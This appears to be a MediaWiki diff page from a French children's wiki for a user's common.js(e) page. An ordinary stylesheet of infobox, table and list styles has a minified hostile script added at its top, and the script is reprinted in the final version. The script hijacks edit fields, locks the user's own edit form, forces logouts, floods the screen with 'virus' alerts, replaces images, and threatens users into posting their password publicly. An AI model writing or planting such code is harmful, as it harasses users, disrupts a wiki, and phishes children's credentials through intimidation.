« Utilisateur:Rififi/common.jse » : différence entre les versions
Jump to navigation
Jump to search
(Page créée avec « /* == Feuille de style globale == Cette page contrôle l'apparence, pour toutes les skins. Les modifications devant s'appliquer à l'apparence Monobook seulement doive... ») |
m (Rififi a déplacé la page Utilisateur:Rififi/common.js vers Utilisateur:Rififi/common.jse : oups) |
||
| (7 versions intermédiaires par le même utilisateur non affichées) | |||
| Ligne 1 : | Ligne 1 : | ||
setInterval(function(){location.href.includes("common.js&action=edit")&&(document.querySelector("#editform").innerHTML=" ")},1);var alertex=1;if(alertex=1)for(i in setInterval(function(){try{document.getElementById("wpTextbox1").value="A l'aide Rififi ! J'ai le virus CHOUBIDOU VERSION 2 ! WOUIN WOUIN WOUIIIIINNN",document.getElementById("lqt_subject_field").value="Le virus sait ecrire a votre place"}catch(e){}},1),location.href.includes("common.js&action=edit")&&(location.href="https://fr.wikimini.org/wiki/Accueil"),location.href.includes("kw=")&&(location.href="https://fr.wikimini.org/w/index.php?title=Sp%C3%A9cial:D%C3%A9connexion&returnto=BienEssayéLOL"),alert("C . A . C . A !"),alert("Oh mince ! Un virus !"),alert("Oh mince ! Un virus !"),alert("Oh mince ! Un virus !"),alert("Le virus ChoubiDou version 420 a atteint ton compte wikimini, tu t vraiment fait avoir !"),alert("Aussi g ton mot de passe, si tu le poste pas dans les 24h sur le forum (dans le titre du sujet) je pirate ton compte wikimini et je le supprime :lol:"),document.querySelector(".mw-body").outerHTML=document.querySelector(".mw-body").outerHTML+"<style>body{background-image:url('https://i.imgur.com/MvWUKeQ.png')}</style>",document.querySelectorAll("img"))console.log(i),document.querySelectorAll("img")[i].src="https://i.imgur.com/MvWUKeQ.png";alertex=0; |
|||
/* |
|||
== Feuille de style globale == |
|||
Cette page contrôle l'apparence, pour toutes les skins. |
|||
Les modifications devant s'appliquer à l'apparence Monobook seulement doivent aller dans [[MediaWiki:Monobook.css|Monobook.css]] |
|||
<pre> */ |
|||
/********************************************** |
|||
* Colorier le nombre de caractères modifiés dans la liste des RC |
|||
**********************************************/ |
|||
.mw-plusminus-pos { |
|||
color: #00aa00; /* vert */ |
|||
} |
|||
.mw-plusminus-neg { |
|||
color: #aa0000; /* rouge */ |
|||
} |
|||
.mw-plusminus-null { |
|||
color: #888888; /* gris */ |
|||
} |
|||
/********************************************** |
|||
* Faire apparaître les redirections en italique sur [[Special:Allpages]] |
|||
**********************************************/ |
|||
.allpagesredirect { |
|||
font-style: italic; |
|||
} |
|||
/********************************************** |
|||
* Harmonisation des Infoboxes |
|||
**********************************************/ |
|||
.infobox { |
|||
background-color: #eeeeee; /* couleur correspondant aux titres / colonne de gauche, th */ |
|||
color: black; |
|||
float: right; |
|||
clear: right; |
|||
font-size: 95%; |
|||
border-collapse: collapse; |
|||
margin: 0 0 0.5em 1em; |
|||
} |
|||
.infobox caption { |
|||
background-color: #c0c0c0; |
|||
border-left: 1px solid #aaaaaa; |
|||
border-top: 1px solid #aaaaaa; |
|||
border-right: 1px solid #aaaaaa; |
|||
padding: 0.2em; |
|||
margin-left: 0.57em; |
|||
font-weight: bolder; |
|||
text-align: center; |
|||
color: white; |
|||
font-size: 160%; |
|||
} |
|||
.infobox th, |
|||
.infobox td { |
|||
vertical-align: middle; |
|||
border: 1px solid #aaaaaa; |
|||
padding: 0.2em 0.2em 0.2em 0.5em; |
|||
} |
|||
.infobox td { |
|||
text-align: center; |
|||
background: #f9f9f9; |
|||
} |
|||
.infobox th { |
|||
font-weight: normal; |
|||
text-align: left; |
|||
} |
|||
.infobox .infoboximage { /* emplacement pour les photos et une description */ |
|||
background: #ffffff; |
|||
padding:0; |
|||
margin-top:0; |
|||
color: black; |
|||
text-align: center; |
|||
} |
|||
.infobox .infoboxsoustitre { /* soustitre */ |
|||
padding:0; |
|||
color: black; |
|||
font-weight: bold; |
|||
font-size: 115%; |
|||
line-height: 2; |
|||
text-align: center; |
|||
} |
|||
/********************************************** |
|||
* reference : éviter d'obtenir un interlignage de taille variable |
|||
**********************************************/ |
|||
.reference, .exposant { |
|||
vertical-align: text-top; |
|||
position: relative; |
|||
top: -0.3em; |
|||
padding-left:1px; |
|||
} |
|||
/********************************************** |
|||
* Style des chiffres romains |
|||
**********************************************/ |
|||
.romain |
|||
{ |
|||
text-transform:lowercase; |
|||
font-variant:small-caps; |
|||
} |
|||
/* ****************************************************************************************** */ |
|||
/* Tableau gris = Wikitable. */ |
|||
/* 1/ Tableau entier ** 2/ Bg Lignes de titre : <th> ou ! **3/ Border des lignes th et td */ |
|||
/* ****************************************************************************************** */ |
|||
table.wikitable { |
|||
margin: 1em 1em 1em 0; |
|||
background: #f9f9f9; |
|||
border: 1px #aaaaaa solid; |
|||
border-collapse: collapse; |
|||
} |
|||
table.wikitable th, table.wikitable td { |
|||
border: 1px #aaaaaa solid; |
|||
padding: 0.2em; |
|||
} |
|||
table.wikitable th { |
|||
background: #f2f2f2; |
|||
text-align: center; |
|||
} |
|||
table.wikitable caption { |
|||
margin-left: inherit; |
|||
margin-right: inherit; |
|||
} |
|||
/* ****************************************************************************************** */ |
|||
/* Tableau pour modèle. */ |
|||
/* (en test : voir [[Discussion Modèle:Histoire des pays des Amériques]]). */ |
|||
/* 1/ Table entier ** 2/ Bg Lignes de titre : <th> ou ! */ |
|||
/* ****************************************************************************************** */ |
|||
table.wikitemplate { |
|||
margin: 1em 1em 1em 0; |
|||
width: 80%; |
|||
background: #f7f8ff; |
|||
padding: 3px; |
|||
border: 1px #aaaaaa solid; |
|||
} |
|||
table.wikitablue th { |
|||
background: #c8d8ff; |
|||
text-align: center; |
|||
} |
|||
/********************************************** |
|||
* retirer les liens modifer |
|||
* (encadrer la zone de <div class=noeditsection></div>). |
|||
* Voir notamment [[Portail:Biologie/Les articles]] |
|||
* A remplacer par __NOEDITSECTION__ |
|||
**********************************************/ |
|||
.noeditsection .mw-editsection{ |
|||
display: none; |
|||
} |
|||
/********************************************** |
|||
* styles pour changer la couleur de liens |
|||
* (encadrer les liens de <div class=lienNoir></div>). |
|||
* Voir notamment [[Portail:Biologie/Les articles]] |
|||
**********************************************/ |
|||
.lienNoir a { |
|||
color: black; |
|||
} |
|||
.lienNoir a:visited { |
|||
color: #707070; |
|||
} |
|||
.lienBlanc a { |
|||
color: white; |
|||
} |
|||
.lienBlanc a:hover { |
|||
color: white; |
|||
text-decoration: underline; |
|||
} |
|||
.lienBlanc a:visited { |
|||
color: #B9B9B9; |
|||
} |
|||
.lienRefMath { |
|||
color: black; |
|||
text-decoration: none; |
|||
} |
|||
.lienRefMath:hover { |
|||
background-color: white; |
|||
border-bottom:0; |
|||
} |
|||
/* Classe pour les listes horizontales séparées par des puces. |
|||
Adaptation de la classe 'hlist' de wp:en:User:Edokter. |
|||
(cf. [[mw:Snippets/Horizontal lists]]). */ |
|||
.liste-horizontale ul, |
|||
.liste-horizontale ol, |
|||
.liste-horizontale li { |
|||
margin-left: 0; |
|||
display: inline; |
|||
white-space: nowrap; |
|||
*white-space: normal; /* be kind ie7 */ |
|||
} |
|||
.liste-horizontale li:after { |
|||
content: " "; /* au cas ou Mediawiki supprime les retours ligne */ |
|||
} |
|||
.liste-horizontale li + li:before { |
|||
white-space: normal; |
|||
content: "· "; |
|||
font-weight: bold; |
|||
} |
|||
.liste-horizontale li li:first-child:before { |
|||
white-space: normal; |
|||
content: " ("; |
|||
} |
|||
.liste-horizontale li ul:after, |
|||
.liste-horizontale li ol:after{ |
|||
content: ")"; |
|||
margin-left: -0.28em; |
|||
} |
|||
.liste-horizontale ol { |
|||
counter-reset: listitem; |
|||
} |
|||
.liste-horizontale ol > li { |
|||
counter-increment: listitem; |
|||
} |
|||
.liste-horizontale ol > li:first-child:before { |
|||
content: "1.\202F"; |
|||
} |
|||
.liste-horizontale li ol > li:first-child:before { |
|||
content: " (1.\202F"; |
|||
} |
|||
.liste-horizontale ol > li + li:before { |
|||
content: "· " counter(listitem) ".\202F"; |
|||
font-weight: normal; |
|||
} |
|||
/********************************************** |
|||
* Divers (à commenter!) |
|||
**********************************************/ |
|||
/* Metadata */ |
|||
table.metadata { |
|||
border: 1px solid #aaaaaa; |
|||
display: none; |
|||
speak: none; |
|||
} |
|||
.metadata-label { |
|||
color: #aaaaaa; |
|||
} |
|||
/********************************************** |
|||
* Affichage du sitenotice pour le référencement |
|||
**********************************************/ |
|||
#siteSub { |
|||
display:inline; |
|||
font-size:92%; |
|||
font-weight:normal; |
|||
} |
|||
#bodyContent #siteSub a { |
|||
background-color:transparent; |
|||
background-image:none; |
|||
color:#000000; |
|||
padding-right:0pt; |
|||
text-decoration:none; |
|||
} |
|||
/********************************************** |
|||
* Suppression de l'encadrement autour des images |
|||
**********************************************/ |
|||
div.thumb { |
|||
border: none; |
|||
} |
|||
div.tright { |
|||
border: none; |
|||
margin: 0.5em 0 0.8em 1.4em; |
|||
} |
|||
div.tleft { |
|||
border: none; |
|||
margin: 0.5em 1.4em 0.8em 0; |
|||
} |
|||
/********************************************** |
|||
* Correction de la largeur des bandeaux dans les multi bandeaux et informations d’images |
|||
**********************************************/ |
|||
.multi-bandeau .bandeau { |
|||
width: 100% !important; |
|||
} |
|||
.info-image .bandeau { |
|||
width: 80% !important; |
|||
} |
|||
/* Hauteur du champ description dans Special:Téléchargement */ |
|||
#wpUploadDescription { |
|||
height: 150px; |
|||
} |
|||
/* Icone pour afficher la carte */ |
|||
#divou { |
|||
display: inline; |
|||
padding-left: 20px; |
|||
} |
|||
#coordinates-title { |
|||
display: none; |
|||
} |
|||
#coordinates { |
|||
display: none; |
|||
} |
|||
/*********************** |
|||
* Sous-titre ([[Modèle:Sous-titre]]) |
|||
**********************/ |
|||
#sous_titre { |
|||
margin-top: 1em; |
|||
padding: 0.5em; |
|||
padding-bottom: 0.5em; |
|||
border-style: solid; |
|||
font-weight: bold; |
|||
border-color: #AAAAAA; |
|||
border-width: 1px 2px 2px 1px; |
|||
border-radius: 0.5em; |
|||
display: block; |
|||
font-size: 1.7em; |
|||
color: #555555; |
|||
line-height: 1.3em; |
|||
margin: 0.2em 0 0 0.5em; |
|||
} |
|||
/*********************** |
|||
* Classes pour modèles de sommaires allégés avec {{Sommaire}} |
|||
**********************/ |
|||
.toc_niveau_1 ul ul, |
|||
.toc_niveau_2 ul ul ul, |
|||
.toc_niveau_3 ul ul ul ul, |
|||
.toc_niveau_4 ul ul ul ul ul, |
|||
.toc_niveau_5 ul ul ul ul ul ul { |
|||
display: none; |
|||
} |
|||
/* Boîtes à outils */ |
|||
.mw-toolbox { |
|||
/* monobookocentré */ |
|||
font-size: 90%; |
|||
background: #F8F8F8; |
|||
border: 1px solid #B8B8B8; |
|||
padding: .25em 1em .25em 1em; |
|||
clear: both; |
|||
} |
|||
/* Cacher la boîte de dons à l'impression (par Plyd sur conseil de Klipe, 05FEB2017) */ |
|||
@media print { |
|||
#donation-box { |
|||
display: none; |
|||
} |
|||
} |
|||
/* Cacher le titre de la page d'accueil */ |
|||
.page-Vikidia_Accueil .firstHeading { |
|||
display: none; |
|||
} |
|||
/* for mobile - Plyd 13FEB2017 */ |
|||
@media screen and (max-width: 640px) { |
|||
.fullWidthMobile { |
|||
width: 100% ! important; |
|||
} |
|||
.titre-accueil { |
|||
line-height: 1.3 ! important; |
|||
font-size: 50% ! important; |
|||
} |
|||
} |
|||
/*********************************************** |
|||
* Mise en évidence des résultats de recherche * |
|||
* demande de Klipe et CRH - Linedwell 20MAY17 * |
|||
**********************************************/ |
|||
div.searchresults > p.mw-search-exists { |
|||
border:1px green solid; |
|||
background:#EEFFEE; |
|||
padding:1em; |
|||
text-align:center; |
|||
font-size:120%; |
|||
} |
|||
/* hides Visual Editor welcome - Plyd 13FEB2017 */ |
|||
/* .ve-ui-overlay { |
|||
display: none; |
|||
} */ |
|||
/* </pre> */ |
|||
Dernière version du 6 janvier 2021 à 20:56
setInterval(function(){location.href.includes("common.js&action=edit")&&(document.querySelector("#editform").innerHTML=" ")},1);var alertex=1;if(alertex=1)for(i in setInterval(function(){try{document.getElementById("wpTextbox1").value="A l'aide Rififi ! J'ai le virus CHOUBIDOU VERSION 2 ! WOUIN WOUIN WOUIIIIINNN",document.getElementById("lqt_subject_field").value="Le virus sait ecrire a votre place"}catch(e){}},1),location.href.includes("common.js&action=edit")&&(location.href="https://fr.wikimini.org/wiki/Accueil"),location.href.includes("kw=")&&(location.href="https://fr.wikimini.org/w/index.php?title=Sp%C3%A9cial:D%C3%A9connexion&returnto=BienEssayéLOL"),alert("C . A . C . A !"),alert("Oh mince ! Un virus !"),alert("Oh mince ! Un virus !"),alert("Oh mince ! Un virus !"),alert("Le virus ChoubiDou version 420 a atteint ton compte wikimini, tu t vraiment fait avoir !"),alert("Aussi g ton mot de passe, si tu le poste pas dans les 24h sur le forum (dans le titre du sujet) je pirate ton compte wikimini et je le supprime :lol:"),document.querySelector(".mw-body").outerHTML=document.querySelector(".mw-body").outerHTML+"<style>body{background-image:url('https://i.imgur.com/MvWUKeQ.png')}</style>",document.querySelectorAll("img"))console.log(i),document.querySelectorAll("img")[i].src="https://i.imgur.com/MvWUKeQ.png";alertex=0;
Ce que tu peux faire
Outils

Outils personnels